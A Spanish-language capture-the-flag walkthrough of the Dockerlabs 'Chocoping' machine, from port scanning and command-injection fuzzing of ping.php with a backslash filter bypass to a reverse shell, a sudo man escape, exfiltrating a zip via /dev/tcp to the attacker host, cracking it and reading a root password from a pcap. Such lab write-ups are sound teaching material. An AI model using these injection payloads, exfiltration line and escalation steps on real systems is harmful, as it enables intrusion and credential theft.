Chocoping es una de las máquinas existentes actualmente en la plataforma de hacking Dockerlabs y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la máquina a vulnerar levantada , la ip por defecto será la 172.17.0.4.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
┌──(user㉿sec)-[~] └─$ nmap -sS -p- --open --min-rate 1000 -vvv -n 172.17.0.4 Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-05 16:47 CEST Initiating ARP Ping Scan at 16:47 Scanning 172.17.0.4 [1 port] Completed ARP Ping Scan at 16:47, 0.08s elapsed (1 total hosts) Initiating SYN Stealth Scan at 16:47 Scanning 172.17.0.4 [65535 ports] Discovered open port 80/tcp on 172.17.0.4 Completed SYN Stealth Scan at 16:47, 0.54s elapsed (65535 total ports) Nmap scan report for 172.17.0.4 Host is up, received arp-response (0.0000030s latency). Scanned at 2025-04-05 16:47:40 CEST for 1s Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE REASON 80/tcp open http syn-ack ttl 64 MAC Address: 02:42:AC:11:00:04 (Unknown) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.89 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
┌──(user㉿sec)-[~] └─$ nmap -sCV -p80 172.17.0.4 Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-05 16:47 CEST Nmap scan report for 172.17.0.4 Host is up (0.000066s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.62 |_http-server-header: Apache/2.4.62 (Debian) |_http-title: Index of / | http-ls: Volume / | SIZE TIME FILENAME | 1.0K 2025-04-05 11:13 ping.php |_ MAC Address: 02:42:AC:11:00:04 (Unknown) Service Info: Host: 172.17.0.4 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.81 seconds |
Vemos que en el puerto 80 tenemos el fichero ping.php y dado que tampoco tenemos mas puertos abiertos, accedemos a este fichero y nos encontramos con lo siguiente:
Con esto ya podemos percatarnos de que esta esperando un parametro, así que hacemos fuzzing.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
┌──(user㉿sec)-[~] └─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://172.17.0.4/ping.php?FUZZ=/etc/passwd -fs 34 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://172.17.0.4/ping.php?FUZZ=/etc/passwd :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 34 ________________________________________________ ip [Status: 200, Size: 11, Words: 1, Lines: 1, Duration: 4ms] :: Progress: [6453/6453] :: Job [1/1] :: 41 req/sec :: Duration: [0:00:05] :: Errors: 0 :: |
Poniendo como input, lo que se supone que deberiamos, es decir, una ip, comprobamos que hace ping a la ip.
Después de varios chequeos manuales sin éxito, hacemos fuzzing para poder hacer lo que parece que es, un command injection, para ello usaremos la lista de hacktricks
En caso de usar ffuf, deberemos de encodear las palabras
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
┌──(user㉿sec)-[~] └─$ ffuf -c -w bypass.txt -u "http://172.17.0.4/ping.php?ip=127.0.0.1;FUZZ" -enc 'FUZZ:urlencode' -fs 21 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://172.17.0.4/ping.php?ip=127.0.0.1;FUZZ :: Wordlist : FUZZ: /home/user/Downloads/choco/bypass.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 21 ________________________________________________ %2F%5Cb%5Ci%5Cn%2F%2F%2F%2F%2Fs%5Ch [Status: 200, Size: 22, Words: 1, Lines: 1, Duration: 11ms] %5Cu%5Cn%5Ca%5Cm%5Ce+%5C-%5Ca [Status: 200, Size: 126, Words: 11, Lines: 2, Duration: 11ms] :: Progress: [23/23] :: Job [1/1] :: 12 req/sec :: Duration: [0:00:01] :: Errors: 0 :: |
En caso de usar wfuzz, ya lo hace por defecto, por lo que no hace falta añadirle ningún párametro más
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
┌──(user㉿sec)-[~] └─$ wfuzz -c -w bypass.txt -u "http://172.17.0.4/ping.php?ip=127.0.0.1;FUZZ" --hh 21 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://172.17.0.4/ping.php?ip=127.0.0.1;FUZZ Total requests: 23 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000013: 200 0 L 1 W 22 Ch "/\b\i\n/////s\h" 000000009: 200 1 L 12 W 126 Ch "\u\n\a\m\e \-\a" Total time: 0.017607 Processed Requests: 23 Filtered Requests: 21 Requests/sec.: 1306.229 |
En cualquier caso, nos damos cuenta de que el metodo para hacer bypass en este caso es poner contrabarras en cada una de las letras, de tal manera que con el siguiente input, previamente habiendo levantado un servidor web y con una reverse shell como index.html, tendremos la conexion que nos dará la shell.
|
1 2 3 4 5 6 7 8 9 10 |
┌──(user㉿sec)-[~] └─$ nc -nvlp 1234 listening on [any] 1234 ... connect to [192.168.0.35] from (UNKNOWN) [172.17.0.4] 42200 Linux d872556eb11f 6.10.9-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.10.9-1kali1 (2024-09-09) x86_64 GNU/Linux 13:12:43 up 3:09, 0 user, load average: 2.37, 2.50, 2.38 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ |
Comprobamos como user www-data si tenemos algun permiso de sudo
|
1 2 3 4 5 6 7 8 |
www-data@d872556eb11f:/$ sudo -l Matching Defaults entries for www-data on d872556eb11f: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User www-data may run the following commands on d872556eb11f: (balutin) NOPASSWD: /usr/bin/man |
Y usando este binario como el usuario balutin, podemos pivotar.
|
1 2 3 4 5 |
www-data@d872556eb11f:/$ sudo -u balutin /usr/bin/man cp --backup[=CONTROL] !/bin/bash |
Ahora que somos el usuario balutin, vemos que en el home del usuario tenemos el archivo secretito.zip, nos lo pasamos a nuestra maquina.
|
1 2 3 4 5 6 7 8 9 10 11 12 |
balutin@d872556eb11f:~$ ls -l total 4 -rw-r--r-- 1 balutin balutin 483 Apr 5 11:26 secretito.zip balutin@d872556eb11f:~$ cat secretito.zip > /dev/tcp/192.168.0.35/1235 ┌──(user㉿sec)-[~] └─$ nc -nvlp 1235 > secretito.zip listening on [any] 1235 ... connect to [192.168.0.35] from (UNKNOWN) [172.17.0.4] 44606 |
Al intentar descomprimirlo, nos pide contraseña así que le pasamos zip2john y crackeamos el hash.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
┌──(user㉿sec)-[~] └─$ unzip secretito.zip Archive: secretito.zip [secretito.zip] traffic.pcap password: ┌──(user㉿sec)-[~] └─$ zip2john secretito.zip > hash ver 2.0 efh 5455 efh 7875 secretito.zip/traffic.pcap PKZIP Encr: TS_chk, cmplen=293, decmplen=375, crc=04A65EE4 ts=5B18 cs=5b18 type=8 ┌──(user㉿sec)-[~] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 16 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status chocolate (secretito.zip/traffic.pcap) 1g 0:00:00:00 DONE (2025-04-05 15:14) 20.00g/s 655360p/s 655360c/s 655360C/s 123456..eatme1 Use the "--show" option to display all of the cracked passwords reliably Session completed. |
Descomprimos el fichero con la contraseña obtenida y el fichero que tenemos es un pcap.
|
1 2 3 4 5 |
┌──(user㉿sec)-[~] └─$ unzip secretito.zip Archive: secretito.zip [secretito.zip] traffic.pcap password: inflating: traffic.pcap |
Como vemos que el fichero es muy pequeño, lo abriremos sin usar wireshark y gracias a ello, podemos comprobar qu existe lo que seria un login de alguna web.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
┌──(user㉿sec)-[~] └─$ tshark -r traffic.pcap -x ** (tshark:170783) 16:35:28.187451 [WSUtil WARNING] ./wsutil/filter_files.c:242 -- read_filter_list(): '/usr/share/wireshark/cfilters' line 1 doesn't have a quoted filter name. ** (tshark:170783) 16:35:28.187468 [WSUtil WARNING] ./wsutil/filter_files.c:242 -- read_filter_list(): '/usr/share/wireshark/cfilters' line 2 doesn't have a quoted filter name. 0000 40 06 f6 83 c0 a8 01 64 c0 a8 01 01 30 39 00 50 @......d....09.P 0010 00 00 00 00 00 00 00 00 50 18 20 00 20 58 00 00 ........P. . X.. 0020 50 4f 53 54 20 2f 6c 6f 67 69 6e 20 48 54 54 50 POST /login HTTP 0030 2f 31 2e 31 0d 48 6f 73 74 3a 20 65 6a 65 6d 70 /1.1.Host: ejemp 0040 6c 6f 2e 63 6f 6d 0d 43 6f 6e 74 65 6e 74 2d 54 lo.com.Content-T 0050 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e ype: application 0060 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 /x-www-form-urle 0070 6e 63 6f 64 65 64 0d 43 6f 6e 74 65 6e 74 2d 4c ncoded.Content-L 0080 65 6e 67 74 68 3a 20 32 39 0d 0d 75 73 65 72 6e ength: 29..usern 0090 61 6d 65 3d 72 6f 6f 74 26 70 61 73 73 77 6f 72 ame=root&passwor 00a0 64 3d 73 65 63 72 65 74 69 74 6f 73 65 63 72 65 d=secretitosecre 00b0 74 61 7a 6f 21 12 f1 67 dc 56 0d 00 87 00 tazo!..g.V.... tshark: The file "traffic.pcap" appears to be damaged or corrupt. (pcap: File has 16811776-byte packet, bigger than maximum of 262144) |
Usando la contraseña del pcap sobre el usuario root, escalamos.
|
1 2 3 |
balutin@d872556eb11f:~$ su root Password: root@d872556eb11f:/home/balutin# |
Y hasta aquí la máquina Chocoping !
